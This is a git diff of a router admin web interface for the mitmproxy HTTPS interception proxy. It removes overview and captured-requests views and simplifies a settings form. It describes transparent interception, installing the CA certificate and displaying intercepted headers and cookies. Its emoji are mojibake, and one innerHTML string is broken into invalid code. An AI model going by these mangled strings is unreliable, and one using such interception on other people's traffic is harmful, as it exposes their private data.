- '.mp-features { display: grid; grid-template-columns: repeat(auto-fit, minmax(180px, 1fr)); gap: 12px; margin-bottom: 24px; }',
- '.mp-feature { display: flex; align-items: center; gap: 12px; padding: 16px; background: var(--mp-card); border: 1px solid var(--mp-border); border-radius: 12px; }',
- '.mp-feature-icon { font-size: 24px; }',
- '.mp-feature-text { font-size: 14px; color: var(--mp-text); }',
-
- /* Quick Actions */
- '.mp-actions { display: flex; gap: 12px; flex-wrap: wrap; justify-content: center; margin-bottom: 24px; }',
- '.mp-btn { display: inline-flex; align-items: center; gap: 8px; padding: 14px 28px; border-radius: 12px; border: none; cursor: pointer; font-size: 15px; font-weight: 600; transition: all 0.2s; text-decoration: none; }',
- '.mp-btn:hover:not(:disabled) { transform: translateY(-2px); box-shadow: 0 4px 16px rgba(0,0,0,0.3); }',
- '.mp-btn:disabled { opacity: 0.5; cursor: not-allowed; }',
- '.mp-btn-primary { background: linear-gradient(135deg, #e74c3c, #c0392b); color: #fff; }',
- '.mp-btn-success { background: linear-gradient(135deg, #27ae60, #1e8449); color: #fff; }',
- '.mp-btn-danger { background: linear-gradient(135deg, #e74c3c, #c0392b); color: #fff; }',
- '.mp-btn-secondary { background: rgba(255,255,255,0.1); color: var(--mp-text); border: 1px solid var(--mp-border); }',
-
- /* Quick Start Card */
- '.mp-quickstart { background: var(--mp-card); border: 1px solid var(--mp-border); border-radius: 16px; padding: 24px; margin-bottom: 24px; }',
- '.mp-quickstart-header { display: flex; align-items: center; gap: 12px; margin-bottom: 20px; }',
- '.mp-quickstart-icon { font-size: 28px; }',
- '.mp-quickstart-title { font-size: 20px; font-weight: 600; color: #fff; }',
- '.mp-quickstart-steps { display: flex; flex-direction: column; gap: 16px; }',
- '.mp-step { display: flex; gap: 16px; align-items: flex-start; }',
- '.mp-step-num { width: 32px; height: 32px; background: var(--mp-primary); color: #fff; border-radius: 50%; display: flex; align-items: center; justify-content: center; font-weight: 600; font-size: 14px; flex-shrink: 0; }',
- '.mp-step-content h4 { margin: 0 0 4px 0; font-size: 15px; color: #fff; }',
- '.mp-step-content p { margin: 0; font-size: 13px; color: var(--mp-muted); }',
-
- /* Info Cards */
- '.mp-info-grid { display: grid; grid-template-columns: repeat(auto-fit, minmax(250px, 1fr)); gap: 16px; margin-bottom: 24px; }',
- '.mp-info-card { background: var(--mp-card); border: 1px solid var(--mp-border); border-radius: 12px; padding: 20px; }',
- '.mp-info-header { display: flex; align-items: center; gap: 10px; margin-bottom: 12px; }',
- '.mp-info-icon { font-size: 24px; }',
- '.mp-info-title { font-size: 16px; font-weight: 600; color: #fff; }',
- '.mp-info-value { font-size: 24px; font-weight: 700; color: var(--mp-primary); }',
- '.mp-info-label { font-size: 13px; color: var(--mp-muted); }',
-
- /* How It Works */
- '.mp-howto { background: var(--mp-card); border: 1px solid var(--mp-border); border-radius: 16px; padding: 24px; }',
- '.mp-howto-header { display: flex; align-items: center; gap: 12px; margin-bottom: 20px; }',
- '.mp-howto-icon { font-size: 28px; }',
- '.mp-howto-title { font-size: 20px; font-weight: 600; color: #fff; }',
- '.mp-howto-diagram { background: rgba(0,0,0,0.3); border-radius: 12px; padding: 20px; font-family: monospace; font-size: 13px; line-height: 1.6; overflow-x: auto; }',
- '.mp-howto-diagram pre { margin: 0; color: var(--mp-text); }'
-].join('\n');
-
-return view.extend({
- load: function() { return callStatus(); },
-
- handleInstall: function() {
- ui.showModal(_('Installing mitmproxy'), [
- E('p', { 'class': 'spinning' }, _('Downloading and setting up mitmproxy container...')),
- E('p', { 'style': 'color: #888; font-size: 13px;' }, _('This may take a few minutes on first install.'))
- ]);
- callInstall().then(function(r) {
- ui.hideModal();
- ui.addNotification(null, E('p', r.message || _('Installation started. Please wait and refresh the page.')));
- }).catch(function(e) { ui.hideModal(); ui.addNotification(null, E('p', e.message), 'error'); });
- },
-
- handleStart: function() {
- ui.showModal(_('Starting mitmproxy'), [E('p', { 'class': 'spinning' }, _('Starting proxy service...'))]);
- callStart().then(function() { ui.hideModal(); location.reload(); })
- .catch(function(e) { ui.hideModal(); ui.addNotification(null, E('p', e.message), 'error'); });
- },
-
- handleStop: function() {
- ui.showModal(_('Stopping mitmproxy'), [E('p', { 'class': 'spinning' }, _('Stopping proxy service...'))]);
- callStop().then(function() { ui.hideModal(); location.reload(); })
- .catch(function(e) { ui.hideModal(); ui.addNotification(null, E('p', e.message), 'error'); });
- },
-
- render: function(status) {
- if (!document.getElementById('mp-overview-styles')) {
- var s = document.createElement('style');
- s.id = 'mp-overview-styles';
- s.textContent = css;
- document.head.appendChild(s);
- }
-
- var isInstalled = status.installed && status.docker_available;
- var isRunning = status.running;
-
- // Not installed - show welcome wizard
- if (!isInstalled) {
- return E('div', { 'class': 'mp-overview' }, [
- // Header
- E('div', { 'class': 'mp-header' }, [
- E('div', { 'class': 'mp-header-left' }, [
- E('div', { 'class': 'mp-logo' }, 'π'),
- E('div', {}, [
- E('h1', { 'class': 'mp-title' }, 'mitmproxy'),
- E('div', { 'class': 'mp-subtitle' }, _('HTTPS Interception Proxy'))
- ])
- ]),
- E('div', { 'class': 'mp-status stopped' }, [
- E('span', { 'class': 'mp-dot' }),
- _('Not Installed')
- ])
- ]),
-
- // Welcome Banner
- E('div', { 'class': 'mp-welcome' }, [
- E('div', { 'class': 'mp-welcome-icon' }, 'π'),
- E('h2', {}, _('Intercept & Analyze Network Traffic')),
- E('p', {}, _('mitmproxy is a powerful interactive HTTPS proxy that lets you inspect, modify, and replay HTTP/HTTPS traffic. Perfect for debugging APIs, testing applications, and security analysis.')),
-
- // Features Grid
- E('div', { 'class': 'mp-features', 'style': 'margin-bottom: 30px;' }, [
- E('div', { 'class': 'mp-feature' }, [
- E('span', { 'class': 'mp-feature-icon' }, 'π'),
- E('span', { 'class': 'mp-feature-text' }, _('Real-time inspection'))
- ]),
- E('div', { 'class': 'mp-feature' }, [
- E('span', { 'class': 'mp-feature-icon' }, 'π'),
- E('span', { 'class': 'mp-feature-text' }, _('HTTPS decryption'))
- ]),
- E('div', { 'class': 'mp-feature' }, [
- E('span', { 'class': 'mp-feature-icon' }, 'π₯οΈ'),
- E('span', { 'class': 'mp-feature-text' }, _('Web-based UI'))
- ]),
- E('div', { 'class': 'mp-feature' }, [
- E('span', { 'class': 'mp-feature-icon' }, 'π'),
- E('span', { 'class': 'mp-feature-text' }, _('Transparent mode'))
- ]),
- E('div', { 'class': 'mp-feature' }, [
- E('span', { 'class': 'mp-feature-icon' }, 'π'),
- E('span', { 'class': 'mp-feature-text' }, _('Request replay'))
- ]),
- E('div', { 'class': 'mp-feature' }, [
- E('span', { 'class': 'mp-feature-icon' }, 'π'),
- E('span', { 'class': 'mp-feature-text' }, _('Flow logging'))
- ])
- ]),
-
- !status.docker_available ?
- E('div', { 'style': 'color: #ef4444; margin-bottom: 20px;' }, [
- E('span', { 'style': 'font-size: 24px;' }, 'β οΈ '),
- _('Docker is required but not available')
- ]) : null,
-
- E('button', {
- 'class': 'mp-btn mp-btn-primary',
- 'click': ui.createHandlerFn(this, 'handleInstall'),
- 'disabled': !status.docker_available
- }, ['π¦ ', _('Install mitmproxy')]),
-
- E('div', { 'class': 'mp-welcome-note' }, [
- 'β οΈ ',
- _('Security Note: mitmproxy is a powerful security analysis tool. Only use for legitimate debugging, testing, and security research purposes.')
- ])
- ]),
-
- // Proxy Modes
- E('h3', { 'style': 'margin: 0 0 16px 0; font-size: 18px; color: #fff;' }, 'π― ' + _('Proxy Modes')),
- E('div', { 'class': 'mp-modes' }, [
- E('div', { 'class': 'mp-mode-card' }, [
- E('div', { 'class': 'mp-mode-icon' }, 'π―'),
- E('div', { 'class': 'mp-mode-title' }, _('Regular Proxy')),
- E('div', { 'class': 'mp-mode-desc' }, _('Configure clients to use the proxy manually. Best for testing specific applications.'))
- ]),
- E('div', { 'class': 'mp-mode-card recommended' }, [
- E('div', { 'class': 'mp-mode-icon' }, 'π'),
- E('div', { 'class': 'mp-mode-title' }, _('Transparent Mode')),
- E('div', { 'class': 'mp-mode-desc' }, _('Intercept all network traffic automatically via firewall rules.')),
- E('span', { 'class': 'mp-mode-badge' }, _('Recommended'))
- ]),
- E('div', { 'class': 'mp-mode-card' }, [
- E('div', { 'class': 'mp-mode-icon' }, 'β¬οΈ'),
- E('div', { 'class': 'mp-mode-title' }, _('Upstream Proxy')),
- E('div', { 'class': 'mp-mode-desc' }, _('Forward traffic to another proxy server for proxy chaining.'))
- ]),
- E('div', { 'class': 'mp-mode-card' }, [
- E('div', { 'class': 'mp-mode-icon' }, 'β¬οΈ'),
- E('div', { 'class': 'mp-mode-title' }, _('Reverse Proxy')),
- E('div', { 'class': 'mp-mode-desc' }, _('Act as a reverse proxy to inspect backend server traffic.'))
- ])
- ])
- ]);
- }
-
- // Installed - show dashboard overview
- return E('div', { 'class': 'mp-overview' }, [
- // Header
- E('div', { 'class': 'mp-header' }, [
- E('div', { 'class': 'mp-header-left' }, [
- E('div', { 'class': 'mp-logo' }, 'π'),
- E('div', {}, [
- E('h1', { 'class': 'mp-title' }, 'mitmproxy'),
- E('div', { 'class': 'mp-subtitle' }, _('HTTPS Interception Proxy'))
- ])
- ]),
- E('div', { 'class': 'mp-status ' + (isRunning ? 'running' : 'stopped') }, [
- E('span', { 'class': 'mp-dot' }),
- isRunning ? _('Running') : _('Stopped')
- ])
- ]),
-
- // Quick Actions
- E('div', { 'class': 'mp-actions' }, [
- isRunning ? E('button', {
- 'class': 'mp-btn mp-btn-danger',
- 'click': ui.createHandlerFn(this, 'handleStop')
- }, ['βΉ ', _('Stop Proxy')]) :
- E('button', {
- 'class': 'mp-btn mp-btn-success',
- 'click': ui.createHandlerFn(this, 'handleStart')
- }, ['βΆοΈ ', _('Start Proxy')]),
-
- E('a', {
- 'class': 'mp-btn mp-btn-primary',
- 'href': L.url('admin', 'secubox', 'security', 'mitmproxy', 'dashboard')
- }, ['π ', _('Dashboard')]),
-
- E('a', {
- 'class': 'mp-btn mp-btn-secondary',
- 'href': 'http://' + window.location.hostname + ':' + (status.web_port || 8081),
- 'target': '_blank'
- }, ['π₯οΈ ', _('Web UI')]),
-
- E('a', {
- 'class': 'mp-btn mp-btn-secondary',
- 'href': L.url('admin', 'secubox', 'security', 'mitmproxy', 'settings')
- }, ['βοΈ ', _('Settings')])
- ]),
-
- // Info Cards
- E('div', { 'class': 'mp-info-grid' }, [
- E('div', { 'class': 'mp-info-card' }, [
- E('div', { 'class': 'mp-info-header' }, [
- E('span', { 'class': 'mp-info-icon' }, 'π'),
- E('span', { 'class': 'mp-info-title' }, _('Proxy Port'))
- ]),
- E('div', { 'class': 'mp-info-value' }, String(status.proxy_port || 8080)),
- E('div', { 'class': 'mp-info-label' }, _('HTTP/HTTPS interception'))
- ]),
- E('div', { 'class': 'mp-info-card' }, [
- E('div', { 'class': 'mp-info-header' }, [
- E('span', { 'class': 'mp-info-icon' }, 'π₯οΈ'),
- E('span', { 'class': 'mp-info-title' }, _('Web UI Port'))
- ]),
- E('div', { 'class': 'mp-info-value' }, String(status.web_port || 8081)),
- E('div', { 'class': 'mp-info-label' }, _('mitmweb interface'))
- ]),
- E('div', { 'class': 'mp-info-card' }, [
- E('div', { 'class': 'mp-info-header' }, [
- E('span', { 'class': 'mp-info-icon' }, 'πΎ'),
- E('span', { 'class': 'mp-info-title' }, _('Data Path'))
- ]),
- E('div', { 'class': 'mp-info-value', 'style': 'font-size: 14px; word-break: break-all;' }, status.data_path || '/srv/mitmproxy'),
- E('div', { 'class': 'mp-info-label' }, _('Certificates & flows'))
- ])
- ]),
-
- // Quick Start Guide
- E('div', { 'class': 'mp-quickstart' }, [
- E('div', { 'class': 'mp-quickstart-header' }, [
- E('span', { 'class': 'mp-quickstart-icon' }, 'π'),
- E('span', { 'class': 'mp-quickstart-title' }, _('Quick Start Guide'))
- ]),
- E('div', { 'class': 'mp-quickstart-steps' }, [
- E('div', { 'class': 'mp-step' }, [
- E('div', { 'class': 'mp-step-num' }, '1'),
- E('div', { 'class': 'mp-step-content' }, [
- E('h4', {}, _('Start the Proxy')),
- E('p', {}, _('Click the Start button above to begin intercepting traffic.'))
- ])
- ]),
- E('div', { 'class': 'mp-step' }, [
- E('div', { 'class': 'mp-step-num' }, '2'),
- E('div', { 'class': 'mp-step-content' }, [
- E('h4', {}, _('Install CA Certificate')),
- E('p', {}, [
- _('Navigate to '),
- E('code', { 'style': 'background: rgba(255,255,255,0.1); padding: 2px 6px; border-radius: 4px;' }, 'http://mitm.it'),
- _(' from a proxied device to download and install the CA certificate.')
- ])
- ])
- ]),
- E('div', { 'class': 'mp-step' }, [
- E('div', { 'class': 'mp-step-num' }, '3'),
- E('div', { 'class': 'mp-step-content' }, [
- E('h4', {}, _('Configure Clients')),
- E('p', {}, [
- _('Set proxy to '),
- E('code', { 'style': 'background: rgba(255,255,255,0.1); padding: 2px 6px; border-radius: 4px;' }, window.location.hostname + ':' + (status.proxy_port || 8080)),
- _(' or enable transparent mode in Settings.')
- ])
- ])
- ]),
- E('div', { 'class': 'mp-step' }, [
- E('div', { 'class': 'mp-step-num' }, '4'),
- E('div', { 'class': 'mp-step-content' }, [
- E('h4', {}, _('View Traffic')),
- E('p', {}, _('Open the Dashboard or Web UI to see captured requests in real-time.'))
- ])
- ])
- ])
- ]),
-
- // How It Works Diagram
- E('div', { 'class': 'mp-howto' }, [
- E('div', { 'class': 'mp-howto-header' }, [
- E('span', { 'class': 'mp-howto-icon' }, 'π'),
- E('span', { 'class': 'mp-howto-title' }, _('How mitmproxy Works'))
- ]),
- E('div', { 'class': 'mp-howto-diagram' }, [
- E('pre', {}, [
- ' Client Device SecuBox Router Internet\n',
- ' βββββββββββββββ ββββββββββββββββββββ βββββββββββββββ\n',
- ' β Browser βββββββΆβ mitmproxy βββββββΆβ Server β\n',
- ' β ββββββββ ββββββββ β\n',
- ' βββββββββββββββ β π Inspect β βββββββββββββββ\n',
- ' β βοΈ Modify β\n',
- ' β π Log β\n',
- ' β π Replay β\n',
- ' ββββββββββββββββββββ\n',
- '\n',
- ' Port ' + (status.proxy_port || 8080) + ': HTTP/HTTPS interception\n',
- ' Port ' + (status.web_port || 8081) + ': Web UI (mitmweb)'
- ].join(''))
- ])
- ])
- ]);
- },
-
- handleSaveApply: null,
- handleSave: null,
- handleReset: null
-});
diff --git a/package/secubox/luci-app-mitmproxy/htdocs/luci-static/resources/view/mitmproxy/requests.js b/package/secubox/luci-app-mitmproxy/htdocs/luci-static/resources/view/mitmproxy/requests.js
deleted file mode 100644
index 1dfd1ddd..00000000
--- a/package/secubox/luci-app-mitmproxy/htdocs/luci-static/resources/view/mitmproxy/requests.js
+++ /dev/null
@@ -1,307 +0,0 @@
-'use strict';
-'require view';
-'require poll';
-'require dom';
-'require ui';
-'require mitmproxy/api as api';
-'require secubox-theme/theme as Theme';
-'require secubox-portal/header as SbHeader';
-
-var lang = (typeof L !== 'undefined' && L.env && L.env.lang) ||
- (document.documentElement && document.documentElement.getAttribute('lang')) ||
- (navigator.language ? navigator.language.split('-')[0] : 'en');
-Theme.init({ language: lang });
-
-var MITMPROXY_NAV = [
- { id: 'dashboard', icon: 'π', label: 'Dashboard' },
- { id: 'webui', icon: 'π₯οΈ', label: 'Web UI' },
- { id: 'requests', icon: 'π', label: 'Requests' },
- { id: 'settings', icon: 'βοΈ', label: 'Settings' }
-];
-
-function renderMitmproxyNav(activeId) {
- return E('div', { 'class': 'mp-app-nav' }, MITMPROXY_NAV.map(function(item) {
- var isActive = activeId === item.id;
- return E('a', {
- 'href': L.url('admin', 'secubox', 'security', 'mitmproxy', item.id),
- 'class': isActive ? 'active' : ''
- }, [
- E('span', {}, item.icon),
- E('span', {}, _(item.label))
- ]);
- }));
-}
-
-return view.extend({
- title: _('mitmproxy Requests'),
- pollInterval: 3,
- pollActive: true,
-
- load: function() {
- return Promise.all([
- api.getStatus(),
- api.getRequests(100)
- ]).then(function(results) {
- return {
- status: results[0],
- requests: results[1]
- };
- });
- },
-
- getMethodColor: function(method) {
- var colors = {
- 'GET': '#3498db',
- 'POST': '#27ae60',
- 'PUT': '#f39c12',
- 'DELETE': '#e74c3c',
- 'PATCH': '#9b59b6',
- 'HEAD': '#1abc9c',
- 'OPTIONS': '#95a5a6'
- };
- return colors[method] || '#7f8c8d';
- },
-
- getStatusColor: function(status) {
- if (status >= 200 && status < 300) return '#27ae60';
- if (status >= 300 && status < 400) return '#3498db';
- if (status >= 400 && status < 500) return '#f39c12';
- if (status >= 500) return '#e74c3c';
- return '#95a5a6';
- },
-
- updateRequests: function(data) {
- var requests = (data.requests || {}).requests || [];
- var container = document.querySelector('.mp-requests-list');
- if (!container) return;
-
- if (requests.length === 0) {
- container.innerHTML = '
π
No requests captured
Generate HTTP traffic to see requests
';
- return;
- }
-
- var self = this;
- container.innerHTML = '';
-
- requests.slice(-50).reverse().forEach(function(req) {
- var request = req.request || req;
- var response = req.response || {};
- var method = request.method || 'GET';
- var host = request.host || request.headers && request.headers.host || 'unknown';
- var path = request.path || '/';
- var status = response.status_code || response.status || 0;
- var contentType = response.headers && (response.headers['content-type'] || response.headers['Content-Type']) || '';
-
- var item = E('div', { 'class': 'mp-request-item' }, [
- E('div', { 'class': 'mp-request-method', 'style': 'background:' + self.getMethodColor(method) }, method),
- E('div', { 'class': 'mp-request-info' }, [
- E('div', { 'class': 'mp-request-url' }, [
- E('span', { 'class': 'mp-request-host' }, host),
- E('span', { 'class': 'mp-request-path' }, path)
- ]),
- E('div', { 'class': 'mp-request-meta' }, [
- status ? E('span', { 'class': 'mp-request-status', 'style': 'color:' + self.getStatusColor(status) }, status) : null,
- contentType ? E('span', {}, contentType.split(';')[0]) : null,
- req.timestamp ? E('span', {}, new Date(req.timestamp).toLocaleTimeString()) : null
- ].filter(Boolean))
- ]),
- E('div', { 'class': 'mp-request-actions' }, [
- E('button', {
- 'class': 'mp-btn-icon',
- 'title': 'View details',
- 'click': function() { self.showRequestDetails(req); }
- }, 'π')
- ])
- ]);
-
- container.appendChild(item);
- });
- },
-
- showRequestDetails: function(req) {
- var request = req.request || req;
- var response = req.response || {};
-
- var content = E('div', { 'class': 'mp-request-details' }, [
- E('h3', {}, 'Request'),
- E('pre', {}, [
- (request.method || 'GET') + ' ' + (request.path || '/') + ' HTTP/1.1\n',
- 'Host: ' + (request.host || 'unknown') + '\n',
- request.headers ? Object.keys(request.headers).map(function(k) {
- return k + ': ' + request.headers[k];
- }).join('\n') : ''
- ].join('')),
-
- response.status_code ? E('h3', {}, 'Response') : null,
- response.status_code ? E('pre', {}, [
- 'HTTP/1.1 ' + response.status_code + ' ' + (response.reason || '') + '\n',
- response.headers ? Object.keys(response.headers).map(function(k) {
- return k + ': ' + response.headers[k];
- }).join('\n') : ''
- ].join('')) : null,
-
- request.cookies && Object.keys(request.cookies).length ? E('h3', {}, 'Cookies') : null,
- request.cookies && Object.keys(request.cookies).length ? E('pre', {},
- Object.keys(request.cookies).map(function(k) {
- return k + '=' + request.cookies[k];
- }).join('\n')
- ) : null
- ].filter(Boolean));
-
- ui.showModal(_('Request Details'), [
- content,
- E('div', { 'class': 'right' }, [
- E('button', {
- 'class': 'btn',
- 'click': ui.hideModal
- }, _('Close'))
- ])
- ]);
- },
-
- startPolling: function() {
- var self = this;
- this.pollActive = true;
-
- poll.add(L.bind(function() {
- if (!this.pollActive) return Promise.resolve();
-
- return api.getRequests(100).then(L.bind(function(data) {
- this.updateRequests({ requests: data });
- }, this));
- }, this), this.pollInterval);
- },
-
- stopPolling: function() {
- this.pollActive = false;
- poll.stop();
- },
-
- render: function(data) {
- var self = this;
- var status = data.status || {};
- var requests = (data.requests || {}).requests || [];
-
- var view = E('div', { 'class': 'mitmproxy-dashboard' }, [
- E('link', { 'rel': 'stylesheet', 'href': L.resource('mitmproxy/dashboard.css') }),
- E('style', {}, [
- '.mp-request-item { display: flex; align-items: center; gap: 12px; padding: 12px 16px; background: rgba(255,255,255,0.02); border-radius: 8px; margin-bottom: 8px; transition: background 0.2s; }',
- '.mp-request-item:hover { background: rgba(255,255,255,0.05); }',
- '.mp-request-method { min-width: 60px; padding: 4px 8px; border-radius: 4px; color: white; font-size: 11px; font-weight: 600; text-align: center; }',
- '.mp-request-info { flex: 1; min-width: 0; }',
- '.mp-request-url { display: flex; gap: 4px; font-size: 14px; }',
- '.mp-request-host { font-weight: 500; color: #fff; }',
- '.mp-request-path { color: var(--mp-text-muted); white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }',
- '.mp-request-meta { display: flex; gap: 16px; font-size: 12px; color: var(--mp-text-muted); margin-top: 4px; }',
- '.mp-request-status { font-weight: 500; }',
- '.mp-request-actions { display: flex; gap: 8px; }',
- '.mp-btn-icon { background: rgba(255,255,255,0.1); border: none; border-radius: 6px; width: 32px; height: 32px; cursor: pointer; font-size: 14px; transition: background 0.2s; }',
- '.mp-btn-icon:hover { background: rgba(255,255,255,0.2); }',
- '.mp-request-details pre { background: #0d0d12; padding: 16px; border-radius: 8px; font-size: 12px; overflow-x: auto; white-space: pre-wrap; word-break: break-all; }',
- '.mp-request-details h3 { margin: 16px 0 8px; font-size: 14px; color: var(--mp-primary); }'
- ].join('')),
-
- // Header
- E('div', { 'class': 'mp-header' }, [
- E('div', { 'class': 'mp-logo' }, [
- E('div', { 'class': 'mp-logo-icon' }, 'π'),
- E('div', { 'class': 'mp-logo-text' }, 'Requests')
- ]),
- E('div', {}, [
- E('div', {
- 'class': 'mp-status-badge ' + (status.running ? 'running' : 'stopped')
- }, [
- E('span', { 'class': 'mp-status-dot' }),
- status.running ? 'Capturing' : 'Stopped'
- ])
- ])
- ]),
-
- // Controls
- E('div', { 'class': 'mp-controls' }, [
- E('span', {}, _('Showing last 50 requests')),
- E('div', { 'style': 'flex: 1' }),
- E('button', {
- 'class': 'mp-btn',
- 'id': 'mp-poll-toggle',
- 'click': L.bind(function(ev) {
- var btn = ev.target;
- if (this.pollActive) {
- this.stopPolling();
- btn.textContent = 'βΆ Resume';
- } else {
- this.startPolling();
- btn.textContent = 'βΈ Pause';
- }
- }, this)
- }, 'βΈ Pause'),
- E('button', {
- 'class': 'mp-btn',
- 'click': function() { location.reload(); }
- }, 'π Refresh')
- ]),
-
- // Requests list
- E('div', { 'class': 'mp-card' }, [
- E('div', { 'class': 'mp-card-header' }, [
- E('div', { 'class': 'mp-card-title' }, [
- E('span', { 'class': 'mp-card-title-icon' }, 'π'),
- 'Captured Requests'
- ]),
- E('div', { 'class': 'mp-card-badge' }, requests.length + ' requests')
- ]),
- E('div', { 'class': 'mp-card-body mp-requests-list' },
- requests.length > 0 ?
- requests.slice(-50).reverse().map(function(req) {
- var request = req.request || req;
- var response = req.response || {};
- var method = request.method || 'GET';
- var host = request.host || (request.headers && request.headers.host) || 'unknown';
- var path = request.path || '/';
- var status_code = response.status_code || response.status || 0;
- var contentType = response.headers && (response.headers['content-type'] || response.headers['Content-Type']) || '';
-
- return E('div', { 'class': 'mp-request-item' }, [
- E('div', { 'class': 'mp-request-method', 'style': 'background:' + self.getMethodColor(method) }, method),
- E('div', { 'class': 'mp-request-info' }, [
- E('div', { 'class': 'mp-request-url' }, [
- E('span', { 'class': 'mp-request-host' }, host),
- E('span', { 'class': 'mp-request-path' }, path)
- ]),
- E('div', { 'class': 'mp-request-meta' }, [
- status_code ? E('span', { 'class': 'mp-request-status', 'style': 'color:' + self.getStatusColor(status_code) }, String(status_code)) : null,
- contentType ? E('span', {}, contentType.split(';')[0]) : null
- ].filter(Boolean))
- ]),
- E('div', { 'class': 'mp-request-actions' }, [
- E('button', {
- 'class': 'mp-btn-icon',
- 'title': 'View details',
- 'click': function() { self.showRequestDetails(req); }
- }, 'π')
- ])
- ]);
- }) :
- E('div', { 'class': 'mp-empty' }, [
- E('div', { 'class': 'mp-empty-icon' }, 'π'),
- E('div', { 'class': 'mp-empty-text' }, 'No requests captured'),
- E('p', {}, 'Start the proxy and generate HTTP traffic')
- ])
- )
- ])
- ]);
-
- // Start polling
- this.startPolling();
-
- var wrapper = E('div', { 'class': 'secubox-page-wrapper' });
- wrapper.appendChild(SbHeader.render());
- wrapper.appendChild(renderMitmproxyNav('requests'));
- wrapper.appendChild(view);
- return wrapper;
- },
-
- handleSaveApply: null,
- handleSave: null,
- handleReset: null
-});
diff --git a/package/secubox/luci-app-mitmproxy/htdocs/luci-static/resources/view/mitmproxy/settings.js b/package/secubox/luci-app-mitmproxy/htdocs/luci-static/resources/view/mitmproxy/settings.js
index b27dd119..f163b0e4 100644
--- a/package/secubox/luci-app-mitmproxy/htdocs/luci-static/resources/view/mitmproxy/settings.js
+++ b/package/secubox/luci-app-mitmproxy/htdocs/luci-static/resources/view/mitmproxy/settings.js
@@ -2,42 +2,8 @@
'require view';
'require form';
'require uci';
-'require mitmproxy/api as api';
-'require secubox-theme/theme as Theme';
-'require secubox-portal/header as SbHeader';
-
-var lang = (typeof L !== 'undefined' && L.env && L.env.lang) ||
- (document.documentElement && document.documentElement.getAttribute('lang')) ||
- (navigator.language ? navigator.language.split('-')[0] : 'en');
-Theme.init({ language: lang });
-
-var MITMPROXY_NAV = [
- { id: 'dashboard', icon: 'π', label: 'Dashboard' },
- { id: 'webui', icon: 'π₯οΈ', label: 'Web UI' },
- { id: 'requests', icon: 'π', label: 'Requests' },
- { id: 'settings', icon: 'βοΈ', label: 'Settings' }
-];
-
-function renderMitmproxyNav(activeId) {
- return E('div', {
- 'class': 'mp-app-nav',
- 'style': 'display:flex;gap:8px;margin-bottom:20px;padding:12px 16px;background:#141419;border:1px solid rgba(255,255,255,0.08);border-radius:12px;'
- }, MITMPROXY_NAV.map(function(item) {
- var isActive = activeId === item.id;
- return E('a', {
- 'href': L.url('admin', 'secubox', 'security', 'mitmproxy', item.id),
- 'style': 'display:flex;align-items:center;gap:8px;padding:10px 16px;border-radius:8px;text-decoration:none;font-size:14px;font-weight:500;transition:all 0.2s;' +
- (isActive ? 'background:linear-gradient(135deg,#e74c3c,#c0392b);color:white;' : 'color:#a0a0b0;background:transparent;')
- }, [
- E('span', {}, item.icon),
- E('span', {}, _(item.label))
- ]);
- }));
-}
return view.extend({
- title: _('mitmproxy Settings'),
-
load: function() {
return uci.load('mitmproxy');
},
@@ -46,217 +12,69 @@ return view.extend({
var m, s, o;
m = new form.Map('mitmproxy', _('mitmproxy Settings'),
- _('Configure the mitmproxy HTTPS interception proxy with transparent mode and filtering options.'));
+ _('Configure the HTTPS intercepting proxy.'));
- // =====================================================================
- // Main Proxy Configuration
- // =====================================================================
- s = m.section(form.TypedSection, 'mitmproxy', _('Proxy Configuration'));
+ // Main Settings
+ s = m.section(form.TypedSection, 'mitmproxy', _('General'));
s.anonymous = true;
- s.addremove = false;
- o = s.option(form.Flag, 'enabled', _('Enable'),
- _('Enable mitmproxy at startup'));
- o.default = '0';
+ o = s.option(form.Flag, 'enabled', _('Enable'));
o.rmempty = false;
- o = s.option(form.ListValue, 'mode', _('Proxy Mode'),
- _('How clients connect to the proxy'));
- o.value('regular', _('Regular - Clients must configure proxy settings'));
- o.value('transparent', _('Transparent - Intercept traffic automatically via nftables'));
- o.value('upstream', _('Upstream - Forward to another proxy'));
- o.value('reverse', _('Reverse - Reverse proxy mode'));
- o.default = 'regular';
+ o = s.option(form.ListValue, 'mode', _('Mode'));
+ o.value('regular', _('Regular Proxy'));
+ o.value('transparent', _('Transparent Proxy'));
+ o.value('upstream', _('Upstream Proxy'));
+ o.value('reverse', _('Reverse Proxy'));
+ o.default = 'transparent';
- o = s.option(form.Value, 'proxy_port', _('Proxy Port'),
- _('Port for HTTP/HTTPS interception'));
- o.default = '8080';
- o.placeholder = '8080';
+ o = s.option(form.Value, 'proxy_port', _('Proxy Port'));
o.datatype = 'port';
+ o.default = '8888';
- o = s.option(form.Value, 'web_host', _('Web UI Address'),
- _('IP address for mitmweb interface'));
+ o = s.option(form.Value, 'web_port', _('Web UI Port'));
+ o.datatype = 'port';
+ o.default = '8082';
+
+ o = s.option(form.Value, 'web_host', _('Web UI Host'));
o.default = '0.0.0.0';
- o.placeholder = '0.0.0.0';
- o.datatype = 'ipaddr';
- o = s.option(form.Value, 'web_port', _('Web UI Port'),
- _('Port for mitmweb interface'));
- o.default = '8081';
- o.placeholder = '8081';
- o.datatype = 'port';
-
- o = s.option(form.Value, 'data_path', _('Data Path'),
- _('Directory for storing certificates and data'));
+ o = s.option(form.Value, 'data_path', _('Data Path'));
o.default = '/srv/mitmproxy';
- o = s.option(form.Value, 'memory_limit', _('Memory Limit'),
- _('Maximum memory for the LXC container'));
+ o = s.option(form.Value, 'memory_limit', _('Memory Limit'));
o.default = '256M';
- o.placeholder = '256M';
- o = s.option(form.Flag, 'ssl_insecure', _('Allow Insecure SSL'),
- _('Accept invalid/self-signed SSL certificates from upstream servers'));
- o.default = '0';
+ o = s.option(form.Flag, 'ssl_insecure', _('Allow Insecure SSL'));
- o = s.option(form.Flag, 'anticache', _('Anti-Cache'),
- _('Strip cache headers to force fresh responses'));
- o.default = '0';
+ o = s.option(form.Flag, 'anticache', _('Disable Caching'));
- o = s.option(form.Flag, 'anticomp', _('Anti-Compression'),
- _('Disable compression to allow content inspection'));
- o.default = '0';
+ o = s.option(form.Flag, 'anticomp', _('Disable Compression'));
- o = s.option(form.ListValue, 'flow_detail', _('Log Detail Level'),
- _('Amount of detail in flow logs'));
- o.value('0', _('Minimal'));
- o.value('1', _('Summary'));
- o.value('2', _('Full headers'));
- o.value('3', _('Full headers + body preview'));
- o.value('4', _('Full headers + full body'));
- o.default = '1';
-
- o = s.option(form.Value, 'upstream_proxy', _('Upstream Proxy'),
- _('Forward traffic to this upstream proxy (e.g., http://proxy:8080)'));
- o.depends('mode', 'upstream');
- o.placeholder = 'http://proxy:8080';
-
